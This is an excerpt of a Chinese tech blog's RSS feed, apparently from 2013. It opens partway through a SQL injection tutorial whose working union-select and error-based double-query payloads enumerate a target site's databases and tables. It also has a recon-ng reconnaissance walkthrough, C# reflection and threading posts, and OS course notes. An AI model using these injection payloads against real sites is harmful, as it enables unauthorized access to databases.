&lt;pre class=&#34;lang:default decode:true &#34; &gt;f4ck.net/index.php?id=-1 union select 1,2,3,4,5,database(),7,8--&lt;/pre&gt; 
&lt;p&gt;只会显示当前站点使用的数据库。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;获取表名&lt;/strong&gt;
回正题，我们继续使用双查询来获取数据库的表:&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;f4ck.net/index.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(table_name as char),0x27,0x7e) FROM information_schema.tables Where table_schema=0xHEX LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1&lt;/pre&gt; 
&lt;p&gt;注意语句中的table_schema=0xHEX 这里的hex用你要查询的数据库进行hex编码后替换即可。
同样的，这里可以要修改LIMIT后面的值来得到第二个第三个第四个表。&lt;/p&gt;</description>
    </item>
    <item>
      <title>你是想读书，还是想读完书？</title>
      <link>http://blog.leaver.me/2013/02/21/%E4%BD%A0%E6%98%AF%E6%83%B3%E8%AF%BB%E4%B9%A6%E8%BF%98%E6%98%AF%E6%83%B3%E8%AF%BB%E5%AE%8C%E4%B9%A6/</link>
      <pubDate>Thu, 21 Feb 2013 09:09:04 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/02/21/%E4%BD%A0%E6%98%AF%E6%83%B3%E8%AF%BB%E4%B9%A6%E8%BF%98%E6%98%AF%E6%83%B3%E8%AF%BB%E5%AE%8C%E4%B9%A6/</guid>
      <description>&lt;p&gt;本文来自&lt;a href=&#34;http://www.zhihu.com/question/20244284&#34;&gt;知乎&lt;/a&gt;，我的看法呢，同意作者的。但不完全是这样。每个人都会建议你把好书读千百遍。改变自己什么的。其一，别人认为的好书不一定能启发你。因此，需要多读书来遇到那本如来神掌，其二。对于非技术书来说，作者的观点是正确的。人文，心理这类书绝对不在多。在于书为了自己的一部分。改变了自己。而技术书无此功能。多读多做才能进步。&lt;/p&gt;
&lt;p&gt;本科时，一位很有才华的心理学老师说过的一句话，让我终身难忘：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;很多同学喜欢说自己一天能读多少页的书，有些人一天能读50页，有些人能读100页。可是一旦你用“页数”为单位来度量读书这种行为时，从一开始你就错了。
同理，我想对题主说，你用读了多少本书来形容你的读书经历，这种思路，从一开始就错了。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;如果你认真读到了书里去，是不会care、甚至会完全忽略掉今天读了多少页，今年读了多少本的；当你沉迷于书中绚烂多彩的世界，当你的观念被翻天覆地地革新，是不会care、甚至会完全忽略掉今天读了多少页，今年读了多少本的。&lt;/p&gt;
&lt;p&gt;当我们看手表的时候，常是快等不及了；当我们数书页的时候，常是快看不下去了；当我们念叨看了几本书的时候，常是连书名都记不全了。所以，数多少页、多少本这行为本身，就说明你已经败了。&lt;/p&gt;
&lt;p&gt;很多时候，一个人对待知识和思想的态度，就体现在用什么东西去丈量它。&lt;/p&gt;
&lt;p&gt;如果有人问一位读书而有大成之人：你因何而脱胎换骨？你因何而涅磐重生？这些问题，他该如何作答？他说：”我因200本书而脱胎换骨，我因1000本书而涅磐重生“，如何？&lt;/p&gt;
&lt;p&gt;学而悟道，有时候一本书就够了，有时候一万本都不够。这取决于，你读了什么书，更重要的是，你是如何读的：你有没有读进去把自己活埋在里面，又有没有读出来敲打出一个新的自己。&lt;/p&gt;
&lt;p&gt;有些书，是一代宗师级的人物，把他们毕生的智慧熔铸在一本书里面；有些书，是一个领域的开疆拓土之作，从一片混沌中劈出一个新世界；有些书，是一个领域的集大成之作，观点纷繁，气象万千；有些书，如盗梦空间一般有几层境界，你多读一遍就多梦到一层。对这些书，你若只是都当成那两百分之一，花上一个星期匆匆读完，读后即扔，只摘下几条金句供日后泡妞之用，难道这就算读过了吗？&lt;/p&gt;
&lt;p&gt;有些书，要用心血去读；有些书，要用足够的经历去读；有些书，是要绞尽最后一粒脑细胞去读；有些书，是一辈子都读不完读不透……&lt;/p&gt;
&lt;p&gt;看书的方法，不仅要看作者写了什么（一层），还要琢磨文字背后的意蕴，那些弦外之音（二层），还要去思考作者为什么要写这些、要这样写（三层），还要去想想看作者用了什么样的框架和策略在组织这本书，以及在各种细微处又用了什么样的方法和技巧（四层），当然更重要的是，以上的这些分析对你自己的现实和精神世界能带来什么样的帮助，是否能启发你、引导你、改变你……（五层）&lt;/p&gt;
&lt;p&gt;于是，一本值得都烂读透的书，就需要你去读五遍、十遍去读烂读透它。&lt;/p&gt;
&lt;p&gt;于是乎，和很多人的答案相反：所谓200本，你不是读少了，而是读多了、读水了、读浅了！&lt;/p&gt;
&lt;p&gt;其实你的状态一点都不特殊，你和许多人一样，以为自己在读书，其实是在集邮。&lt;/p&gt;
&lt;p&gt;最后，建议你重新拿起一本你最崇敬的书，换一种方式，再读一遍、两遍、三遍……&lt;/p&gt;</description>
    </item>
    <item>
      <title>C#反射实现简单的插件系统</title>
      <link>http://blog.leaver.me/2013/02/21/c%23%E5%8F%8D%E5%B0%84%E5%AE%9E%E7%8E%B0%E7%AE%80%E5%8D%95%E7%9A%84%E6%8F%92%E4%BB%B6%E7%B3%BB%E7%BB%9F/</link>
      <pubDate>Thu, 21 Feb 2013 08:28:27 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/02/21/c%23%E5%8F%8D%E5%B0%84%E5%AE%9E%E7%8E%B0%E7%AE%80%E5%8D%95%E7%9A%84%E6%8F%92%E4%BB%B6%E7%B3%BB%E7%BB%9F/</guid>
      <description>&lt;p&gt;如果用过一些优秀的开源或是非开源的应用软件，就会发现这些软件的一个很大的优势就是其开放性，任何有能力的人都可以为其开发不同的插件来增强其的功能。比如著名的foobar2000，Vim和TotalCommander等等。&lt;/p&gt;
&lt;p&gt;C#的反射可以用来实现一个简单的插件系统。思路很简单，我们创建一个解决方案，包含三个工程，一个为我们的软件MyApplication，一个为插件接口IPlugin，一个为具体的插件MyPlugin。插件系统的基本思路是我们用一个接口类库,来定义我们软件可以使用的插件必须实现的方法签名。然后我们的软件MyApplication通过引用该IPlugin dll来动态调用，而具体的实现插件MyPlugin则引用该接口来实现具体的方法。这样我们的应用程序就能在不知道具体插件的情况下调用插件了。。&lt;/p&gt;
&lt;p&gt;结构图如下：&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/32896_o.jpg&#34;&gt;&lt;img alt=&#34;Myapplication&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/bf202a9b50d5ce497f88718743c344d8579fadf1.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;关键代码也就是通过对程序集载入。搜索到对应接口的实现类。然后调用即可。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;Assembly a = Assembly.LoadFrom(AssemblyName);
                foreach (Type t in a.GetTypes())
                {
                    if (t.GetInterface(&#34;IMyFunction&#34;) != null)
                    {
                        try
                        {
                            IMyFunction pluginclass = Activator.CreateInstance(t) as IMyFunction;
                            pluginclass.doSomething();
                        }
                        catch (Exception ex)
                        {
                            MessageBox.Show(ex.ToString());
                        }
                    }
                }&lt;/pre&gt;
&lt;p&gt;运行结果：&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/32897_o.jpg&#34;&gt;&lt;img alt=&#34;QQ截图20130220200408&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/6c33ac761faef8c7d4beae4a478b4240cdeb7ee3.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;源码下载：&lt;a href=&#34;http://pan.baidu.com/share/link?shareid=302323&amp;amp;uk=1493685990&#34;&gt;PluginSystem.zip&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>C#多线程揭秘</title>
      <link>http://blog.leaver.me/2013/02/12/c%23%E5%A4%9A%E7%BA%BF%E7%A8%8B%E6%8F%AD%E7%A7%98/</link>
      <pubDate>Tue, 12 Feb 2013 16:31:22 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/02/12/c%23%E5%A4%9A%E7%BA%BF%E7%A8%8B%E6%8F%AD%E7%A7%98/</guid>
      <description>&lt;p&gt;文章略长。。。
Demo下载：&lt;a href=&#34;http://pan.baidu.com/share/link?shareid=290200&amp;amp;uk=1493685990&#34;&gt;Demo.Threading.zip&lt;/a&gt;
&lt;strong&gt;介绍&lt;/strong&gt;
本文将通过一些例子来展示.net 中如何实现多线程，涉及到以下四部分。
1 .线程概念
2 .如何实现多线程
3 .如何确保线程安全
4 .死锁&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;什么是进程&lt;/strong&gt;
一个进程就是一个可执行文件运行的操作系统上下文环境。它被用来分隔虚拟地址空间，线程，对象句柄（指向类似文件这样的资源的指针），以及环境变量，进程还有一些类似优先级类和最大内存分配的属性。&lt;/p&gt;
&lt;p&gt;也就是说：
1 .一个进程就是一个包含资源的内存块。
2 .操作系统执行的一个单独的任务。
3 .一个正在运行的软件
4 .一个进程拥有一个/多个操作系统线程&lt;/p&gt;
&lt;p&gt;一般的。一个进程最大可以是4GB的内存空间，这块内存是安全，私有，其他进程是无法访问的。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;什么是线程&lt;/strong&gt;
一个线程就是在一个进程里执行的一条指令流，所有的线程都在一个进程里执行，也就是一个进程可以包含多个线程。线程公用进程的虚拟地址空间。线程是操作系统的调度单元。一个线程的上下文由操作系统进行保存/恢复。
也就是说：
1 .一个线程是进程里的一条指令流。
2 .所有的线程在进程里。一个进程可以有多个线程
3 .一个进程的所有线程使用进程的虚拟地址空间。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;什么是多线程&lt;/strong&gt;
多线程指的是进程同时有多个线程活动。这可以通过时间片的线程模拟或是多cpu上的超线程来实现。可以提高性能。
&lt;strong&gt;多线程-为什么或是为什么不?&lt;/strong&gt;
为什么多线程
1 .保持UI响应。
2 .提高性能(对于cpu密集型和I/O密集型的进程)
为什么不多线程
1 .过度使用降低性能
2 .代码复杂，增加设计时间，潜在的bug&lt;/p&gt;
&lt;p&gt;线程池
线程池为你的程序提供了一个由操作系统管理的机制。在线程池里的都是后台线程。一个线程池线程在程序的前台线程都退出后，也会推出。每个进程一个线程池。默认情况下。每个处理器会为进程分配25个线程。但是可以通过SetMaxThreads  方法来改变。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;.net 中的线程&lt;/strong&gt;
在.net 中，线程可以通过下面6个方法来实现。
1 .Thread线程类
2 .Delegates委托
3 .Background Worker
4 .ThreadPool 线程池
5 .Task任务类
6 .Parallel并行类&lt;/p&gt;
&lt;p&gt;下面的几部分里。我将逐一展示实现方法。&lt;/p&gt;
&lt;p&gt;简而言之，多线程就是通过使程序同时运行多个任务来最大化计算机能力，同时能够保持UI响应。下图是一个例子的图示。
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/32605_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/472b9c05527afb3cb133d1d5689cdca367412bc0.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;代码&lt;/strong&gt;
提供的源码是一个简单的WinForm程序。模拟了.net中委托，线程类和Background Worker三种方法。
程序异步执行一个繁重的操作，这样UI就不会无响应。三个方法都是模拟的。
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/32606_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/a0567e4556b306284f9d9793d2879ae6716dae23.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;这个“繁重”的操作
真实的开发中，这个繁重的操作从轮询数据库到流媒体操作都可以。基本上可以是任何事情。源码里面是向一个字符串追加值。String是不能变的。追加的时候，新的字符串变量会被创建，旧的会被丢弃，这是由CLR处理的。如果做很多次这个操作，是很耗资源的。这也是为什么我们使用Stringbuilder.Append 来代替这个操作。通过调整界面中的次数。可以通知追加的次数。&lt;/p&gt;
&lt;p&gt;后面我们有一个Utility泪，有一个LoadData() 方法。类里面也有一个和LoadData() 有着同样签名的委托&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;class Utility
{
    public delegate string delLoadData(int number);
    public static delLoadData dLoadData;

    public Utility()
    {

    }

    public static string LoadData(int max)
    {
        string str = string.Empty;

        for (int i = 0; i &amp;lt; max; i++)
                                {
            str += i.ToString();
                                }

        return str;
    }
}
&lt;/pre&gt; 
&lt;p&gt;&lt;strong&gt;同步调用&lt;/strong&gt;
当点击Get Data Sync按钮的时候。操作和UI在同一个线程里，因此阻塞了UI线程。因此。UI线程会未响应&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;private void btnSync_Click(object sender, EventArgs e)
{
    this.Cursor = Cursors.WaitCursor;
    this.txtContents.Text = Utility.LoadData(upCount);
    this.Cursor = Cursors.Default;
}
&lt;/pre&gt; 
&lt;p&gt;&lt;strong&gt;异步调用&lt;/strong&gt;
使用委托（异步编程模型）&lt;/p&gt;</description>
    </item>
    <item>
      <title>利用反射转换对象list到csv</title>
      <link>http://blog.leaver.me/2013/02/02/%E5%88%A9%E7%94%A8%E5%8F%8D%E5%B0%84%E8%BD%AC%E6%8D%A2%E5%AF%B9%E8%B1%A1list%E5%88%B0csv/</link>
      <pubDate>Sat, 02 Feb 2013 07:39:11 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/02/02/%E5%88%A9%E7%94%A8%E5%8F%8D%E5%B0%84%E8%BD%AC%E6%8D%A2%E5%AF%B9%E8%B1%A1list%E5%88%B0csv/</guid>
      <description>&lt;p&gt;扒自一工程。。可以学习一下.net中反射的简单用法&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;      /// &amp;lt;summary&amp;gt;
        /// Take object List as input and export to csv which will be prompt save as dialog
        /// &amp;lt;/summary&amp;gt;
        /// &amp;lt;typeparam name=&#34;T&#34;&amp;gt; Type of object&amp;lt;/typeparam&amp;gt;
        /// &amp;lt;param name=&#34;listToExport&#34;&amp;gt; Object list to export&amp;lt;/param&amp;gt;
        /// &amp;lt;param name=&#34;seperateChar&#34;&amp;gt; character to use as scv separator&amp;lt;/param&amp;gt;
        public static string ExportListToCSV&amp;lt;T&amp;gt;( List&amp;lt;T&amp;gt; listToExport, string seperateChar)
        {
            Int32 success = 0;
            StringBuilder export = new StringBuilder();
            try
            {
                string seperator = &#34;&#34; ;
                StringBuilder builder = new StringBuilder();

                //获取表头的
                PropertyInfo[] fieldInfo = listToExport[0].GetType().GetProperties();
                foreach (PropertyInfo col in fieldInfo)
                {
                    if (!col.PropertyType.FullName.Equals(&#34;System.Data.EntityKey&#34;) &amp;amp;&amp;amp; !col.PropertyType.FullName.Equals(&#34;System.Data.EntityState&#34; ))
                    {
                        builder.Append(seperator).Append(col.Name);
                        seperator = seperateChar;
                    }
                }
                export.AppendLine(builder.ToString());
                foreach (T dataItem in listToExport)
                {
                    PropertyInfo[] allProperties = dataItem.GetType().GetProperties();
                    seperator = &#34;&#34;;
                    StringBuilder builderTmp = new StringBuilder();
                    //真正求数据域的
                    foreach (PropertyInfo thisProperty in allProperties)
                    {
                        if (!thisProperty.PropertyType.FullName.Equals(&#34;System.Data.EntityKey&#34;) &amp;amp;&amp;amp; !thisProperty.PropertyType.FullName.Equals(&#34;System.Data.EntityState&#34; ))
                        {
                            object value = thisProperty.GetValue(dataItem, null);
                            String propetyValue = (value == null ? String.Empty : value.ToString());
                            builderTmp.Append(seperator).Append(propetyValue);
                            seperator = seperateChar;
                        }
                    }
                    ++success;
                    export.AppendLine(builderTmp.ToString());
                }
            }
            catch (Exception ex)
            {
                throw ex;
            }
            return export.ToString();
        }&lt;/pre&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;if (!thisProperty.PropertyType.FullName.Equals(&#34;System.Data.EntityKey&#34;) &amp;amp;&amp;amp; !thisProperty.PropertyType.FullName.Equals(&#34;System.Data.EntityState&#34;))&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>操作系统的死锁和内存管理</title>
      <link>http://blog.leaver.me/2013/02/02/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E7%9A%84%E6%AD%BB%E9%94%81%E5%92%8C%E5%86%85%E5%AD%98%E7%AE%A1%E7%90%86/</link>
      <pubDate>Sat, 02 Feb 2013 06:58:09 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/02/02/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E7%9A%84%E6%AD%BB%E9%94%81%E5%92%8C%E5%86%85%E5%AD%98%E7%AE%A1%E7%90%86/</guid>
      <description>&lt;p&gt;这部分是最后一部分笔记。《现代操作系统》第三版的笔记就这样了。
&lt;strong&gt;死锁；&lt;/strong&gt;
把需要排他性使用的对象称为资源，资源分为可抢占的和不可抢占的。可抢占资源可以从拥有它的进程中抢占而不会具有任何副作用。存储器就是可抢占的。不可抢占资源是指在不引起相关的计算失败的情况下，无法把它从占有她的进程处抢占过来。比如CD刻录机，如果一个进程开始刻盘，突然分配给CD刻录机到另一进程，就会划坏CD盘。死锁会发生在不可抢占资源中
&lt;strong&gt;死锁的规范定义&lt;/strong&gt;：如果一个进程集合中的每个进程都在等待只能由该进程集合中的其他进程才能引发的事件，那么，该进程集合就是死锁的。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;死锁的四个必要条件&lt;/strong&gt;
1.互斥条件。每个资源要么已经分配给一个进程，要么就是可用的。
2.占有和等待条件，已经得到了某个资源的进程可以再请求新的资源。
3.不可抢占条件，已经分配给一个进程的资源不可强制性的被抢占，他只能由占有她的进程显式的释放。
4.环路等待条件。死锁发生时，系统中一定有友两个/多个进程组成的一条回路，该环路中的每个进程都在等待着下一个进程所占有的资源。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;死锁处理的四种策略&lt;/strong&gt;
1.忽略该问题，如果可以忽略。则忽略
2.检测死锁并恢复，让死锁发生，检测他们是否发生，一旦发生。采取行动。
3.仔细对资源进行分配。动态的避免死锁。
4.通过破坏引起的四个必要条件之一。防止死锁发生。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;银行家算法&lt;/strong&gt;就是对每个请求进行检查。检查如果满足这一请求是否会达到安全状态，或是，那么满足这请求，若否。就推迟这一请求的满足。为了看状态是否安全。类似于银行家投资。看自己是否有足够的资源满足客户。如果可以。就认为投资是可以收回的。接着检查最接近最大限额的一个客户。如果所有投资最终都被收回。则该状态安全。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;通信死锁&lt;/strong&gt;：两个/以上的进程发送消息通信。A向B发送请求信息，然后阻塞直到B回复。假设请求信息丢失，A将阻塞等待回复。B则阻塞等待一个向其发送命令的请求。则发生死锁。他不能通过对资源排序/安排调度来避免，因此。采用了超时来中断通信死锁。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;活锁&lt;/strong&gt;：两个进程A和B，A获得1.B获得2.轮询请求对方的。没有进程被阻塞。看起来像是死锁发生了。就叫做活锁。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;内存管理&lt;/strong&gt;
每个linux进程都有一个地址空间，逻辑上有三段组成：代码。数据和堆栈段。代码段包含了形成程序可执行代码的机器指令。通常是只读的。是由编译器把源码转换成机器码形成的。
数据段包含了所有程序变量。字符串。数字和其他数据的存储。由两部分，初始化数据和未初始化数据。后者即为BSS，符号起始块。加载后被初始化为0.数据段可以修改。可以增加数据段的大小。
第三段是栈段。大多数机器里。从虚拟地址空间的顶部/附近开始。并且向下生长。&lt;/p&gt;
&lt;p&gt;linux内存由三部分组成。前两部分是内核和内存映射，被钉在内存中。页面从不换粗。内存的其他部分，被划分为页框。每个页框都可以包含一个代码。数据或栈页面。&lt;/p&gt;
&lt;p&gt;window如何知道系统配置的细节呢。答案就是windows会挂载一种特殊的文件系统，其为小文件做了优化，到名字空间，也就是注册表。注册表被阻止成了不同的卷，称作储巢。hive。一个叫做system的储巢会在系统启动时。装入内存。这里面包含了驱动什么设备工作。什么软件要初始化。那些变量等等。&lt;/p&gt;</description>
    </item>
    <item>
      <title>recon-ng开源信息探测框架</title>
      <link>http://blog.leaver.me/2013/02/02/recon-ng%E5%BC%80%E6%BA%90%E4%BF%A1%E6%81%AF%E6%8E%A2%E6%B5%8B%E6%A1%86%E6%9E%B6/</link>
      <pubDate>Sat, 02 Feb 2013 06:52:28 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/02/02/recon-ng%E5%BC%80%E6%BA%90%E4%BF%A1%E6%81%AF%E6%8E%A2%E6%B5%8B%E6%A1%86%E6%9E%B6/</guid>
      <description>&lt;p&gt;作者：bystander
博客：&lt;a href=&#34;http://leaver.me&#34;&gt;http://leaver.me&lt;/a&gt;
微博：&lt;a href=&#34;http://t.qq.com/lazystander&#34;&gt;http://t.qq.com/lazystander&lt;/a&gt;
论坛：法客论坛&lt;/p&gt;
&lt;p&gt;首发。转载什么的请注明出处。起码给我留个链接啥的嘛。&lt;/p&gt;
&lt;p&gt;首先介绍一下。这个工具是国外刚刚发布的。主要用来渗透前的信息探测。使用类似Metasploit
主要有
Auxiliary：
这个模块查询主机信息泄漏页。进行hash反查，模糊名称精确，检查某个email是否密码泄漏，域名解析ip等
Contacts：
这个模块探测和某一公司有关的人员的信息，主要包括 LinkedIn 和Jigsaw 这两个模块。得到的信息可以被Auxiliary模块使用，如果和Social Engineer Toolkit(社会工程学工具集，这个工具已经发布了。是开源的。大家可以看看)，一起。效果强大。&lt;/p&gt;
&lt;p&gt;Hosts：
这个用来获取站点子域名。。包括使用baidu。Google bing等。。效果相当强大。
Output：
这个模块用来创建输出报表
Pwnedlist：
这个模块不是得shell的。他可通过 Pwnedlist.com 提供的api，如果这个网站被入侵过。那么可以直接获得其他黑客泄漏的帐号密码。。（需要去 Pwnedlist.com 注册）&lt;/p&gt;
&lt;p&gt;安装方法：
bt下直接&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;git clone https://LaNMaSteR53@bitbucket.org/LaNMaSteR53/recon-ng.git&lt;/pre&gt;
&lt;p&gt;然后有可能提示输入密码，好象是随便输一个用来保护版本控制。。我输的是toor。。
然后就安装好了。输入&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;cd recon-ng&lt;/pre&gt;
&lt;p&gt;然后&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;./recon-ng.py&lt;/pre&gt;
&lt;p&gt;首先查看有哪些模块。输入&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;modules&lt;/pre&gt;
&lt;p&gt;图一&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/32339_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/88f2dd5c24ad567a09c5b6162cd60d70b3fb781d.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;我以获取子域名为例，通过我前面的介绍你已经知道了hosts模块里的所有模块基本都是干这事的。我用里面的baidu模块来说明。你也可以使用bing等，，&lt;/p&gt;
&lt;p&gt;输入命令&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;load hosts::baidu&lt;/pre&gt;
&lt;p&gt;图二&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/32340_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/f818e08de804ba8875667692fbdd580ad8114667.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;刚开始你可能不清楚这个模块的说明。那么继续输入info即可查看模块的详细说明
要开始使用。我们输入&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;options&lt;/pre&gt;
&lt;p&gt;和Metasploit很像把。可以查看要使用需要的配置。&lt;/p&gt;
&lt;p&gt;图三&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/32341_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/7848e773ab3e4e3ad03f59ba7b5ac6704d333ce6.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;看表，会发现有三行。第一行是标题，第二行是域名设置，第三行是输出。这个current value也就是当前值已经为true。所以不用设置。req的意思是是否必须设置。我们输入
baidu.com就是你的目标了。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;set domain baidu.com&lt;/pre&gt;
&lt;p&gt;就会从百度的结果里提取百度的子域名信息了。要开始。我们输入&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;run&lt;/pre&gt;
&lt;p&gt;图四&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/32342_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/125a841869478ff39dd63113e2e9427c3ae1cf81.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;更多希望大家发掘吧。我抛砖。求引玉。&lt;/p&gt;</description>
    </item>
    <item>
      <title>操作系统中的输入输出</title>
      <link>http://blog.leaver.me/2013/02/01/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E4%B8%AD%E7%9A%84%E8%BE%93%E5%85%A5%E8%BE%93%E5%87%BA/</link>
      <pubDate>Fri, 01 Feb 2013 08:43:18 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/02/01/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E4%B8%AD%E7%9A%84%E8%BE%93%E5%85%A5%E8%BE%93%E5%87%BA/</guid>
      <description>&lt;p&gt;&lt;strong&gt;输入输出&lt;/strong&gt;
&lt;strong&gt;I/O硬件：&lt;/strong&gt;
I/O设备分为两类：块设备和字符设备，块设备吧信息存储在固定大小的块中，每个块有自己的地址，传输以块为单位，每个块都能独立于其他块读写，硬盘，CD-ROM和USB盘都是常见的块设备。字符设备是以字符为单位发送和接收一个字符流，而不考虑任何块结构，字符设备不可寻址，也不寻道，打印机，网络几口，鼠标，以及大多数与磁盘不同的设备都可看作是字符设备。&lt;/p&gt;
&lt;p&gt;I/O设备一般由机械部件和电子部件两部分组成，通常分开处理，实现模块化和通用设计，电子部件称作设备控制器/适配器，在个人计算机上，通常以主板上的芯片的形式出现，或者以插入PCI的印刷电路板的形式出现。控制器卡上通常有一个连接器，通向设备本身的电缆可以插入到这个连接器中，
控制器的任务是吧串行的位流转换成字节块，并进行必要的错误校正工作，字节块通常首先在控制器内部的一个缓冲区中按位进行组装，然后再对校验和进行校验并证明字节块没有错误后再将它复制到主存中。&lt;/p&gt;
&lt;p&gt;每个控制器都有几个寄存器用来和cpu通信，通过写入这些寄存器，操作系统可以命令设备发送数据等等操作。
1.内存映射io
将所有控制寄存器映射到内存空间中，每个寄存器被分配一个唯一的内存地址，并且不会有内存被分配这一地址，这样的系统称为内存映射I/O，通常位于地址空间的顶端。使用内存映射io，设备控制器只是内存中的变量，c语言可以和其他变量一样寻址，这样，I/O设备驱动程序就可以采用c语言编写。
2.DMA
无论CPU是否具有内存映射I/O,他都需要寻址设备控制器以便和他们交换数据，但浪费eficpu时间，所以经常使用直接存储器存储。可独立于cpu访问地址总线。&lt;/p&gt;
&lt;p&gt;没有DMA的时候，首先控制器从磁盘驱动器串行的一位一位的读一个块，直到将整块信息放入控制器的内存缓冲区中，接着，他计算校验和，以保证没有读错误发生，然后控制器产生一个中断，当操作系统开始运行时，它重复地从控制器的缓冲区中一次一个字节/一个字的读取该块的信息，并将其放入内存中。
当有DMA的时候，首先CPU通过设置DMA控制器的寄存器对它进行编程，所以DMA控制器知道将什么数据传送到什么地方，(第1步)DMA控制器还要向磁盘控制器发送一个命令，通知他从磁盘读数据到其内部的缓冲区中，并且对校验和进行检验，如果磁盘控制器中的缓冲区中的数据是有效的的。那么DMA开始
DMA控制器通过在总线上发出一个读请求到磁盘控制器而发起DMA传送（第2步），这一读请求和其他一样，并且磁盘控制器并不关心是来自DMA还是CPU，一般情况下，要写的内存地址在总线的地址线上，所以磁盘控制器从内部缓冲区中读取下一个字的时候，她知道要写的什么地方，写到内存是另一个标准总线周期，（第3步）
当写操作完成时，磁盘控制器在总线上发起一个应答信号到DMA（第4步），于是DMA控制器部增要使用的内存地址，并且步减字节计数，如果字节计数仍然大于0，则从父2-4步。完成后产生中断告诉cpu，操作系统开始工作时，数据已经在内存中了。
&lt;strong&gt;中断：&lt;/strong&gt;
将机器留在一个明确状态的中断称为精确中断，四个特征，1.PC保存在一个已知的地方。2.PC所指向的指令之前的所有指令都已经完全执行。3.PC所指向的指令之后的所有指令都没有执行。4.PC所指向的指令的执行状态是已知的。注意，对于PC所指向的指令以后的指令，并没有禁止他们开始执行，而只是要求在中断发生之前必须撤销他们对寄存器或内存所做的任何修改。
&lt;strong&gt;I/O软件：&lt;/strong&gt;
设计I/O软件时一个关键的点就是设备独立性，意思是我们可以访问任意I/O设备而无需事先指定设备。也就是对于不同的I/O硬件。同一段程序是可以的。&lt;/p&gt;
